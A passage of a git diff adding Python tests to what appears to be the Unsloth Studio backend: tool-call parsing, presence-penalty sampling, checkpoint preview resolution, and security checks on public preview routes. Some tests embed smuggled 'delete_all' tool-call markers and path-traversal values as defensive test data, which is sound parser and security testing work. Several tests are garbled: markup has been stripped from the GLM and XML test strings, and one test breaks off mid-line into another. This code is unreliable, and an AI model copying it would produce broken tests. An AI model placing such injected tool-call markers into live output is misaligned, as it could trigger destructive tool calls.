Document order: when the first enabled Gemma call closes before the first foreign signal, the leading call still owns the turn. + en = {"get_time", "web_search", "delete_all"} + both = parse_tool_calls_from_text( + 'call:get_time{} call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}', + enabled_tool_names = en, + ) + assert [c["function"]["name"] for c in both] == ["get_time", "web_search"], both + assert json.loads(both[1]["function"]["arguments"]) == { + "query": "docs say [TOOL_CALLS]delete_all{}" + } + + # XML and Kimi markers in the later call's strings stay data too. + xml = parse_tool_calls_from_text( + 'call:get_time{} call:web_search{query:"see delete_all"}', + enabled_tool_names = en, + ) + assert [c["function"]["name"] for c in xml] == ["get_time", "web_search"], xml + kimi = parse_tool_calls_from_text( + 'call:get_time{} call:web_search{query:"see <|tool_call_begin|>' + 'functions.delete_all:0<|tool_call_argument_begin|>{}<|tool_call_end|>"}', + enabled_tool_names = en, + ) + assert [c["function"]["name"] for c in kimi] == ["get_time", "web_search"], kimi + + # A trailing prose example after the closed leading call defers the same way. + prose = parse_tool_calls_from_text( + "call:get_time{} Example: [TOOL_CALLS]delete_all{}", enabled_tool_names = en + ) + assert [c["function"]["name"] for c in prose] == ["get_time"], prose + + +def test_multi_gemma_ownership_reverse_controls(): + # A real leading Mistral/XML call with a trailing Gemma example keeps the leading call; a signal before every Gemma call keeps normal order. + en = {"get_time", "web_search", "delete_all"} + mistral = parse_tool_calls_from_text( + '[TOOL_CALLS][{"name":"delete_all","arguments":{}}] Example: call:web_search{query:cats}', + enabled_tool_names = en, + ) + assert [c["function"]["name"] for c in mistral] == ["delete_all"], mistral + xml_first = parse_tool_calls_from_text( + '{"name":"delete_all","arguments":{}} call:web_search{query:cats}', + enabled_tool_names = en, + ) + assert [c["function"]["name"] for c in xml_first] == ["delete_all"], xml_first + agnostic = parse_tool_calls_from_text( + 'call:foo{} {"name":"delete_all","arguments":{}}' + ) + assert [c["function"]["name"] for c in agnostic] == ["delete_all"], agnostic + + +def test_disabled_leading_bare_json_does_not_hide_later_marker_call(): + # A leading bare-JSON object with a NOT-enabled name is prose: the real DeepSeek/Kimi call after it still parses. + kimi = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"q":"cats"}<|tool_call_end|><|tool_calls_section_end|>' + ) + calls = parse_tool_calls_from_text( + '{"name":"draft","parameters":{}} ' + kimi, enabled_tool_names = {"web_search"} + ) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"} + + deepseek = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n" + '```json\n{"q":"cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>' + ) + calls_ds = parse_tool_calls_from_text( + '{"name":"draft","parameters":{}} ' + deepseek, enabled_tool_names = {"web_search"} + ) + assert [c["function"]["name"] for c in calls_ds] == ["web_search"], calls_ds + + +def test_disabled_leading_bare_json_ownership_controls(): + kimi_delete = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0" + "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>" + ) + # ENABLED leading name still owns the turn (document order, the shipped + # inside-or-after rule). + owns = parse_tool_calls_from_text( + '{"name":"web_search","parameters":{"q":"first"}} ' + kimi_delete, + enabled_tool_names = {"web_search", "delete_all"}, + ) + assert [c["function"]["name"] for c in owns] == ["web_search"], owns + # A marker INSIDE the disabled object's own strings stays data: the span + # is prose, the tail holds no call, so nothing parses. + inside = parse_tool_calls_from_text( + '{"name":"draft","parameters":{"note":"see <|tool_call_begin|>functions.delete_all:0' + '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}\nsome trailing prose', + enabled_tool_names = {"web_search", "delete_all"}, + ) + assert inside == [], inside + # Nameless leading JSON answers keep recursing to the real call. + nameless = parse_tool_calls_from_text( + '{"answer":42} ' + kimi_delete, enabled_tool_names = {"delete_all"} + ) + assert [c["function"]["name"] for c in nameless] == ["delete_all"], nameless + # Name-agnostic path unchanged: the leading object is the call. + agnostic = parse_tool_calls_from_text('{"name":"draft","parameters":{}} ' + kimi_delete) + assert [c["function"]["name"] for c in agnostic] == ["draft"], agnostic + + +def test_leading_json_answer_with_prose_keeps_quoted_gemma_snippet_as_data(): + # A LEADING JSON answer followed by prose is data (same contract as the whole-content JSON exemption). + obj = '{"summary":"use call:web_search{query:cats} to search"}\nHope that helps!' + assert parse_tool_calls_from_text(obj, enabled_tool_names = {"web_search"}) == [] + arr = '["use call:web_search{query:cats} to search"]\nHope that helps!' + assert parse_tool_calls_from_text(arr, enabled_tool_names = {"web_search"}) == [] + assert strip_tool_markup(obj, enabled_tool_names = {"web_search"}) == obj + + # A REAL call in the tail after the answer still parses (and strips). + tail = '{"summary":"done"}\ncall:web_search{query:cats}' + calls = parse_tool_calls_from_text(tail, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + + # A leading brace run that is NOT valid JSON gets no exemption. + not_json = "{not json} call:web_search{query:cats}" + calls_nj = parse_tool_calls_from_text(not_json, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls_nj] == ["web_search"], calls_nj + + +def test_glm_heal_bounds_unclosed_value_at_tool_call_close(): + # Auto-Heal: a value missing only its before the block's heals to the + # value text, not the close tag and everything after it swallowed into the argument. + one = "get_weathercityNYC" + calls = parse_tool_calls_from_text(one, allow_incomplete = True) + assert [c["function"]["name"] for c in calls] == ["get_weather"], calls + assert json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC"} + + # Trailing prose after the close stays out of the healed value. + two = one + "\nLet me check that for you." + calls_two = parse_tool_calls_from_text(two, allow_incomplete = True) + assert json.loads(calls_two[0]["function"]["arguments"]) == {"city": "NYC"} + + # Strict mode still rejects the unclosed value outright. + assert parse_tool_calls_from_text(one, allow_incomplete = False) == [] + + # A value truncated at EOF (no structural tag follows) keeps the partial heal, and a proper + # close whose value holds a literal is untouched by the bounding. + eof = "get_weathercityNew York Ci" + calls_eof = parse_tool_calls_from_text(eof, allow_incomplete = True) + assert json.loads(calls_eof[0]["function"]["arguments"]) == {"city": "New York Ci"} + lit = ( + "get_weathercity" + 'print("")' + ) + calls_lit = parse_tool_calls_from_text(lit, allow_incomplete = True) + assert json.loads(calls_lit[0]["function"]["arguments"]) == {"city": 'print("")'} + + +def test_prose_mentioning_ds_kimi_markers_survives_final_strip(): + # False-alarm literals: the trailing strip arms require a call-shaped + # lookahead, so an answer documenting a marker keeps its tail. + from core.inference.tool_call_parser import strip_tool_markup + + for text in [ + "The Kimi marker <|tool_calls_section_begin|> starts a section.", + "DeepSeek uses <｜tool▁calls▁begin｜> to open calls.", + "See <|tool_call_begin|> in the docs.", + ]: + assert strip_tool_markup(text, final = True) == text + + # Truncated REAL calls still drop, and a bare marker at EOF is a fragment. + truncated_kimi = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"q' + ) + assert strip_tool_markup(truncated_kimi, final = True) == "" + assert strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix" diff --git a/studio/backend/tests/test_presence_penalty.py b/studio/backend/tests/test_presence_penalty.py new file mode 100644 index 0000000000..030ddb6011 --- /dev/null +++ b/studio/backend/tests/test_presence_penalty.py @@ -0,0 +1,252 @@ +# SPDX-License-Identifier: AGPL-3.0-only +"""Presence-penalty parity between the GGUF path and the safetensors/MLX paths. + +The safetensors path historically dropped ``presence_penalty``, so the SAME model +looked worse served as safetensors. These tests pin the processor semantics +(subtract once per distinct completion token, prompt excluded, presence not +frequency, zero a no-op, negatives raise) plus a param-propagation regression +over route -> orchestrator cmd -> worker gen_kwargs. +""" + +import threading + +import pytest +import torch + +from core.inference.presence_penalty import ( + apply_presence_penalty, + _make_presence_penalty_processor, +) + + +def test_seen_token_gets_exactly_minus_penalty_unseen_unchanged(): + input_ids = torch.tensor([[0, 1, 3]]) # prompt [0, 1], completion [3] + scores = torch.zeros(1, 5) + out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 2) + assert out[0, 3].item() == pytest.approx(-1.5) + for tok in (0, 1, 2, 4): + assert out[0, tok].item() == pytest.approx(0.0) + + +def test_multiplicity_ignored_presence_not_frequency(): + # Token 3 emitted three times -> still a single -penalty (presence, not freq). + input_ids = torch.tensor([[0, 3, 3, 3]]) + scores = torch.zeros(1, 5) + out = apply_presence_penalty(input_ids, scores, penalty = 2.0, prompt_len = 1) + assert out[0, 3].item() == pytest.approx(-2.0) + + +def test_negative_penalty_raises_seen_logits(): + input_ids = torch.tensor([[0, 2]]) + scores = torch.zeros(1, 4) + out = apply_presence_penalty(input_ids, scores, penalty = -0.5, prompt_len = 1) + assert out[0, 2].item() == pytest.approx(0.5) + + +def test_prompt_tokens_excluded(): + # Token 7 is prompt-only (untouched); token 4 in the completion is penalized. + input_ids = torch.tensor([[7, 4, 4]]) + scores = torch.zeros(1, 8) + out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1) + assert out[0, 7].item() == pytest.approx(0.0) + assert out[0, 4].item() == pytest.approx(-1.0) + + +def test_batch_rows_isolated(): + input_ids = torch.tensor([[0, 1], [0, 2]]) # row completions [1] and [2] + scores = torch.zeros(2, 4) + out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1) + assert out[0, 1].item() == pytest.approx(-1.0) + assert out[0, 2].item() == pytest.approx(0.0) + assert out[1, 2].item() == pytest.approx(-1.0) + assert out[1, 1].item() == pytest.approx(0.0) + + +def test_zero_penalty_is_noop(): + input_ids = torch.tensor([[0, 1, 2]]) + scores = torch.randn(1, 5) + original = scores.clone() + out = apply_presence_penalty(input_ids, scores, penalty = 0.0, prompt_len = 1) + assert torch.equal(out, original) + + +def test_empty_completion_is_noop(): + # prompt_len covers the whole sequence -> nothing generated yet. + input_ids = torch.tensor([[0, 1, 2]]) + scores = torch.randn(1, 5) + original = scores.clone() + out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 3) + assert torch.equal(out, original) + + +def test_out_of_vocab_id_ignored(): + # A generated id >= vocab_size (defensive) must not index out of bounds. + input_ids = torch.tensor([[0, 9]]) + scores = torch.zeros(1, 5) # vocab 5, token 9 is out of range + out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1) + assert torch.equal(out, torch.zeros(1, 5)) + + +def test_negative_generated_id_ignored(): + # A negative generated id (defensive) must be dropped, not wrap to scores[-1]. + input_ids = torch.tensor([[0, -1]]) + scores = torch.zeros(1, 5) + out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1) + # Nothing penalized; in particular the last row (the numpy/torch wrap target + # for id -1) is untouched. + assert torch.equal(out, torch.zeros(1, 5)) + + +def test_mixed_oob_negative_and_valid_ids_only_in_range_penalized(): + # Completion mixes a valid id (1), an out-of-vocab id (9 >= vocab 5) and a + # negative id (-1). Only the in-range distinct id is penalized; OOB/negative + # ids are ignored with no crash and no wrong-index wrap. This fails under the + # old ``seen[seen < vocab_size]`` filter (id -1 wraps to the last row) and + # passes only with the both-ends bound. + input_ids = torch.tensor([[0, 1, 9, -1, 1]]) # prompt [0], completion [1, 9, -1, 1] + scores = torch.zeros(1, 5) + out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1) + expected = torch.zeros(1, 5) + expected[0, 1] = -1.0 # once per distinct in-range id (multiplicity ignored) + assert torch.equal(out, expected) + assert out[0, 4].item() == pytest.approx(0.0) # id -1 did not wrap to the last row + + +def test_dtype_and_device_preserved(): + input_ids = torch.tensor([[0, 1]]) + scores = torch.zeros(1, 4, dtype = torch.float16) + out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1) + assert out.dtype == torch.float16 + assert out.device == scores.device + + +def test_processor_none_when_zero(): + assert _make_presence_penalty_processor(0.0, prompt_len = 0) is None + + +def test_processor_applies_penalty(): + proc = _make_presence_penalty_processor(1.5, prompt_len = 2) + assert proc is not None + input_ids = torch.tensor([[0, 1, 3]]) + scores = torch.zeros(1, 5) + out = proc(input_ids, scores) + assert out[0, 3].item() == pytest.approx(-1.5) + + +def test_processor_composes_with_other_processors(): + # LogitsProcessorList must run our processor alongside a pre-existing one. + from transformers import LogitsProcessor, LogitsProcessorList + + class _AddToTokenZero(LogitsProcessor): + def __call__(self, input_ids, scores): + scores[:, 0] = scores[:, 0] + 100.0 + return scores + + presence = _make_presence_penalty_processor(1.0, prompt_len = 1) + combined = LogitsProcessorList([_AddToTokenZero(), *presence]) + input_ids = torch.tensor([[5, 2]]) # completion = [2] + scores = torch.zeros(1, 6) + out = combined(input_ids, scores) + assert out[0, 0].item() == pytest.approx(100.0) # other processor ran + assert out[0, 2].item() == pytest.approx(-1.0) # presence ran + + +def test_mlx_presence_penalty_callable(): + mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS") + from core.inference.mlx_inference import _make_mlx_presence_penalty_processor + + proc = _make_mlx_presence_penalty_processor(1.5) + # First call = prompt only (latches prompt_len, penalizes nothing). + prompt = mx.array([10, 11]) + logits0 = mx.zeros((1, 20)) + out0 = proc(prompt, logits0) + assert float(out0[0, 10]) == pytest.approx(0.0) + # Second call: one completion token (5) appended -> penalized once. + seq = mx.array([10, 11, 5]) + logits1 = mx.zeros((1, 20)) + out1 = proc(seq, logits1) + assert float(out1[0, 5]) == pytest.approx(-1.5) + assert float(out1[0, 10]) == pytest.approx(0.0) # prompt token untouched + + +def test_mlx_presence_penalty_bounds_out_of_range_ids(): + # Documents (and, on Apple Silicon CI, enforces) the intended MLX bound: + # out-of-vocab and negative completion ids must be ignored. MLX does no + # bounds checking and OOB indexing is undefined behavior (crash / memory + # corruption), so the processor routes stray ids to a discarded scratch slot + # and penalizes only in-range distinct ids -- matching the torch filter + # seen[(seen >= 0) & (seen < vocab)]. Skips off arm64 macOS where MLX is absent. + mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS") + from core.inference.mlx_inference import _make_mlx_presence_penalty_processor + + proc = _make_mlx_presence_penalty_processor(1.0) + proc(mx.array([10, 11]), mx.zeros((1, 8))) # first call latches prompt_len = 2 + # Completion appends a valid id (3), an out-of-vocab id (99 >= vocab 8) and a + # negative id (-1); only the in-range id is penalized and nothing crashes. + seq = mx.array([10, 11, 3, 99, -1]) + out = proc(seq, mx.zeros((1, 8))) + assert float(out[0, 3]) == pytest.approx(-1.0) + for tok in range(8): + if tok != 3: + assert float(out[0, tok]) == pytest.approx(0.0) + + +# Param propagation: route payload -> orchestrator cmd -> worker gen_kwargs +_SAMPLING = { + "temperature": 0.7, + "top_p": 0.8, + "top_k": 20, + "min_p": 0.05, + "repetition_penalty": 1.1, + "presence_penalty": 1.5, +} + + +def test_orchestrator_cmd_carries_all_sampling_params(): + from core.inference.orchestrator import InferenceOrchestrator + + o = InferenceOrchestrator.__new__(InferenceOrchestrator) + cmd = o._build_generate_cmd( + "req1", + None, + messages = [{"role": "user", "content": "hi"}], + max_new_tokens = 128, + **_SAMPLING, + ) + for key, val in _SAMPLING.items(): + assert cmd[key] == val, f"{key} dropped/altered in orchestrator cmd" + + +def test_worker_forwards_all_sampling_params_to_backend(): + from core.inference.worker import _handle_generate + + class _RecordingBackend: + last_generation_stats = None + + def __init__(self): + self.received = None + + def generate_chat_response(self, **kwargs): + self.received = kwargs + return iter(()) # empty stream -> loop exits, gen_done is sent + + class _FakeQueue: + def __init__(self): + self.items = [] + + def put(self, item): + self.items.append(item) + + cmd = { + "type": "generate", + "request_id": "r", + "messages": [{"role": "user", "content": "hi"}], + "max_new_tokens": 128, + **_SAMPLING, + } + backend = _RecordingBackend() + _handle_generate(backend, cmd, _FakeQueue(), threading.Event()) + + assert backend.received is not None + for key, val in _SAMPLING.items(): + assert backend.received[key] == val, f"{key} dropped/altered in worker gen_kwargs" diff --git a/studio/backend/tests/test_preview.py b/studio/backend/tests/test_preview.py new file mode 100644 index 0000000000..e131f99951 --- /dev/null +++ b/studio/backend/tests/test_preview.py @@ -0,0 +1,134 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import json +from pathlib import Path +import sys +import types as _types + +import pytest + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +from utils.models.checkpoints import ( + list_preview_targets, + preview_ref, + resolve_preview_checkpoint, +) + + +def _make_run(outputs: Path) -> tuple[Path, Path]: + run = outputs / "unsloth_SmolLM-135M_1775412608" + run.mkdir(parents = True) + (run / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"}) + ) + ckpt = run / "checkpoint-60" + ckpt.mkdir() + (ckpt / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"}) + ) + return run, ckpt + + +def _point_outputs_root_at(monkeypatch, outputs: Path) -> None: + from utils.paths import storage_roots as _sr + from utils.models import checkpoints as _ckpt + + monkeypatch.setattr(_sr, "outputs_root", lambda: outputs) + # checkpoints imported outputs_root by name; patch that alias too (preview_ref uses it). + monkeypatch.setattr(_ckpt, "outputs_root", lambda: outputs) + + +def test_resolve_main_adapter_and_checkpoint(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + run, ckpt = _make_run(outputs) + _point_outputs_root_at(monkeypatch, outputs) + + assert resolve_preview_checkpoint(run.name) == run + assert resolve_preview_checkpoint(run.name, "checkpoint-60") == ckpt + + +def test_resolve_missing_raises_not_found(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + _make_run(outputs) + _point_outputs_root_at(monkeypatch, outputs) + + with pytest.raises(FileNotFoundError): + resolve_preview_checkpoint("does-not-exist") + (outputs / "empty").mkdir() + with pytest.raises(FileNotFoundError): + resolve_preview_checkpoint("empty") + + +def test_resolve_rejects_traversal(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + _make_run(outputs) + _point_outputs_root_at(monkeypatch, outputs) + + with pytest.raises(ValueError): + resolve_preview_checkpoint("..", "etc") + + +def test_list_preview_targets_flattens_with_latest_flag(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + run, _ = _make_run(outputs) + _point_outputs_root_at(monkeypatch, outputs) + + targets = list_preview_targets(str(outputs)) + by_ref = {t["ref"]: t for t in targets} + + assert by_ref[run.name]["is_latest"] is True + assert by_ref[run.name]["checkpoint"] is None + assert by_ref[f"{run.name}/checkpoint-60"]["is_latest"] is False + assert by_ref[f"{run.name}/checkpoint-60"]["checkpoint"] == "checkpoint-60" + assert all(t["base_model"] == "HuggingFaceTB/SmolLM-135M" for t in targets) + + +def test_preview_ref_flat_run_is_basename(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + run, _ = _make_run(outputs) + _point_outputs_root_at(monkeypatch, outputs) + + assert preview_ref(str(run)) == run.name + + +def test_preview_ref_preserves_one_level_nesting(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + _point_outputs_root_at(monkeypatch, outputs) + nested = outputs / "experiments" / "run1" + nested.mkdir(parents = True) + (nested / "adapter_config.json").write_text("{}") + + # /p route supports run/checkpoint, so a single level of nesting survives. + assert preview_ref(str(nested)) == "experiments/run1" + + +def test_preview_ref_none_for_unpreviewable_or_too_deep(tmp_path: Path, monkeypatch): + outputs = tmp_path / "outputs" + _point_outputs_root_at(monkeypatch, outputs) + + # Missing / no model artifact -> not previewable. + assert preview_ref(None) is None + empty = outputs / "empty" + empty.mkdir(parents = True) + assert preview_ref(str(empty)) is None + + # Too deep for the two-segment /p route -> no dead link. + deep = outputs / "a" / "b" / "run" + deep.mkdir(parents = True) + (deep / "adapter_config.json").write_text("{}") + assert preview_ref(str(deep)) is None + + # Outside outputs_root -> None. + outside = tmp_path / "elsewhere" + outside.mkdir() + (outside / "adapter_config.json").write_text("{}") + assert preview_ref(str(outside)) is None diff --git a/studio/backend/tests/test_preview_followups.py b/studio/backend/tests/test_preview_followups.py new file mode 100644 index 0000000000..9981e1dabf --- /dev/null +++ b/studio/backend/tests/test_preview_followups.py @@ -0,0 +1,143 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Unit coverage for the preview follow-ups: rate limiter, client IP, kill switch.""" + +from pathlib import Path +import sys +import types as _types + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import utils.preview_rate_limit as rl +from utils.client_ip import client_ip +from utils.preview_sharing_settings import ( + DEFAULT_PREVIEW_SHARING_ENABLED, + _coerce_bool, + get_preview_sharing_enabled, +) + + +# ── Rate limiter ───────────────────────────────────────────────────────────── + + +def test_rate_limit_per_key(monkeypatch): + monkeypatch.setattr(rl, "_MAX_REQUESTS", 3) + rl.reset() + assert rl.check_rate_limit("ip1") == 0 + assert rl.check_rate_limit("ip1") == 0 + assert rl.check_rate_limit("ip1") == 0 + # 4th request over the ceiling -> positive retry-after seconds. + assert rl.check_rate_limit("ip1") > 0 + # A different client is unaffected. + assert rl.check_rate_limit("ip2") == 0 + + +def test_rate_limit_window_rolls_off(monkeypatch): + monkeypatch.setattr(rl, "_MAX_REQUESTS", 1) + monkeypatch.setattr(rl, "_WINDOW_SECONDS", 10.0) + rl.reset() + t = {"now": 1000.0} + monkeypatch.setattr(rl.time, "monotonic", lambda: t["now"]) + assert rl.check_rate_limit("ip") == 0 + assert rl.check_rate_limit("ip") > 0 # immediately over + t["now"] += 11.0 # window elapsed + assert rl.check_rate_limit("ip") == 0 + + +def test_rate_limit_eviction_does_not_reset_active_bucket(monkeypatch): + # A flood of distinct keys must not cycle the table and clear a live limit. + monkeypatch.setattr(rl, "_MAX_REQUESTS", 1) + monkeypatch.setattr(rl, "_MAX_BUCKETS", 2) + rl.reset() + assert rl.check_rate_limit("a") == 0 + assert rl.check_rate_limit("a") > 0 # 'a' throttled (active) + assert rl.check_rate_limit("b") == 0 + assert rl.check_rate_limit("b") > 0 # 'b' throttled; table now full of actives + # A new key can't evict an active bucket -> denied (fail closed)... + assert rl.check_rate_limit("c") > 0 + # ...and the flood did not reset 'a'. + assert rl.check_rate_limit("a") > 0 + + +# ── Client IP ──────────────────────────────────────────────────────────────── + + +class _Req: + def __init__( + self, + host, + headers = None, + ): + self.client = _types.SimpleNamespace(host = host) if host else None + self.headers = headers or {} + + +def test_client_ip_uses_socket_peer_by_default(monkeypatch): + monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False) + # Forwarded header is ignored unless the operator opts in. + req = _Req("203.0.113.9", {"x-forwarded-for": "198.51.100.7"}) + assert client_ip(req) == "203.0.113.9" + assert client_ip(None) == "_unknown" + + +def test_client_ip_uses_rightmost_forwarded_when_trusted(monkeypatch): + monkeypatch.setenv("UNSLOTH_STUDIO_TRUST_FORWARDED", "1") + # Leftmost is client-spoofable; the trusted proxy appends the real peer on the + # right, so the rightmost hop is the one we key on. + req = _Req("127.0.0.1", {"x-forwarded-for": "1.2.3.4, 198.51.100.7"}) + assert client_ip(req) == "198.51.100.7" + + +def test_client_ip_uses_cf_connecting_ip_on_loopback(monkeypatch): + # Managed Cloudflare tunnel terminates at loopback; key by the real visitor. + monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False) + req = _Req("127.0.0.1", {"cf-connecting-ip": "198.51.100.7"}) + assert client_ip(req) == "198.51.100.7" + + +def test_client_ip_ignores_cf_header_from_non_loopback(monkeypatch): + # A direct (non-loopback) caller can't spoof CF-Connecting-IP to skew the limit. + monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False) + req = _Req("203.0.113.9", {"cf-connecting-ip": "198.51.100.7"}) + assert client_ip(req) == "203.0.113.9" + + +def test_client_ip_loopback_without_cf_returns_peer(monkeypatch): + monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False) + assert client_ip(_Req("127.0.0.1")) == "127.0.0.1" + + +# ── Kill-switch setting ────────────────────────────────────────────────────── + + +def test_sharing_defaults_enabled_and_coerces(): + assert DEFAULT_PREVIEW_SHARING_ENABLED is True + assert _coerce_bool("off") is False + assert _coerce_bool("on") is True + assert _coerce_bool(True) is True + assert _coerce_bool("nonsense") is None + + +def test_sharing_missing_key_defaults_enabled(monkeypatch): + import storage.studio_db as sdb + monkeypatch.setattr(sdb, "get_app_setting", lambda key, fallback = None: None) + assert get_preview_sharing_enabled() is True + + +def test_sharing_read_error_fails_closed(monkeypatch): + # A transient settings-DB failure must not reopen the public surface. + import storage.studio_db as sdb + + def _boom(*args, **kwargs): + raise RuntimeError("settings db unavailable") + + monkeypatch.setattr(sdb, "get_app_setting", _boom) + assert get_preview_sharing_enabled() is False diff --git a/studio/backend/tests/test_preview_routes.py b/studio/backend/tests/test_preview_routes.py new file mode 100644 index 0000000000..8fa3093d04 --- /dev/null +++ b/studio/backend/tests/test_preview_routes.py @@ -0,0 +1,496 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Security smoke for the public /p preview routes. + +Exercises the route layer with a real ``preview_router`` while stubbing the +expensive model calls (``load_model`` / ``openai_chat_completions``). Covers the +public-surface guarantees: HMAC capability gating (a valid ``?k=`` token or +Bearer credential is required; missing/invalid/wrong-ref tokens 404 before any +model load), path-traversal rejection, request sanitization (tools / provider +routing / use_adapter / generation clamp), asset-path containment, the page CSP ++ no-referrer headers and HTML escaping, and that the preview lock is held until +a streaming response is fully drained. +""" + +import asyncio +import json +from pathlib import Path +import sys +import types as _types + +import pytest + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +# Mirror test_preview.py: the real `loggers` package pulls in heavy handlers. +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +from fastapi import FastAPI +from fastapi.responses import StreamingResponse +from fastapi.testclient import TestClient + +import routes.preview as preview +import utils.preview_token as preview_token +from models.inference import ChatCompletionRequest + + +# A fixed secret keeps signing deterministic and avoids touching auth.db. +_TEST_SECRET = b"unit-test-preview-secret-0123456789" + + +def _use_test_secret(monkeypatch) -> None: + monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _TEST_SECRET) + + +def _sig(ref: str) -> str: + """Valid capability token for ``ref`` under the patched test secret.""" + return preview_token.sign_preview_ref(ref) + + +def _make_run(outputs: Path, name: str = "demorun") -> Path: + run = outputs / name + run.mkdir(parents = True) + (run / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"}) + ) + ckpt = run / "checkpoint-1" + ckpt.mkdir() + (ckpt / "adapter_config.json").write_text("{}") + return run + + +@pytest.fixture +def captured(): + return {} + + +@pytest.fixture +def client(tmp_path, monkeypatch, captured): + outputs = tmp_path / "outputs" + _make_run(outputs) + + _use_test_secret(monkeypatch) + + # Public sharing on by default; reset the per-IP rate buckets each test. + monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: True) + import utils.preview_rate_limit as _rl + + _rl.reset() + + # resolve_preview_checkpoint -> resolve_output_dir -> outputs_root(). + from utils.paths import storage_roots as _sr + + monkeypatch.setattr(_sr, "outputs_root", lambda: outputs) + + async def _fake_load_model(load_req, request, subject): + captured["load_path"] = load_req.model_path + return None + + async def _fake_chat(payload, request, subject): + captured["payload"] = payload + return {"ok": True} + + monkeypatch.setattr(preview, "load_model", _fake_load_model) + monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat) + + app = FastAPI() + app.include_router(preview.router, prefix = "/p") + app.dependency_overrides[preview.get_current_subject] = lambda: "admin" + # raise_server_exceptions=False so a 5xx surfaces as a response, not a throw. + return TestClient(app, raise_server_exceptions = False) + + +# ── Page rendering ──────────────────────────────────────────────────────── + + +def test_page_renders_with_csp(client): + r = client.get(f"/p/demorun?k={_sig('demorun')}") + assert r.status_code == 200 + assert "text/html" in r.headers["content-type"] + csp = r.headers.get("content-security-policy", "") + assert "default-src 'self'" in csp + assert "base-uri 'none'" in csp + # Token rides in the query string; keep it out of the Referer header. + assert r.headers.get("referrer-policy") == "no-referrer" + + +def test_page_escapes_title(tmp_path, monkeypatch, captured): + outputs = tmp_path / "outputs" + # Run dir name carries an HTML-special char; the page must escape it. + _make_run(outputs, name = "a ceiling). + assert p.max_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS + assert p.max_completion_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS + assert p.n == 1 + # Loads the resolved checkpoint dir, not an attacker-supplied path. + assert captured["load_path"].endswith("demorun") + + +def test_merged_checkpoint_strips_use_adapter(tmp_path, monkeypatch, captured): + # Merged (non-LoRA) checkpoint: no adapter to toggle, so use_adapter -> None. + outputs = tmp_path / "outputs" + merged = outputs / "mergedrun" + merged.mkdir(parents = True) + (merged / "config.json").write_text(json.dumps({"_name_or_path": "some/base"})) + + _use_test_secret(monkeypatch) + from utils.paths import storage_roots as _sr + + monkeypatch.setattr(_sr, 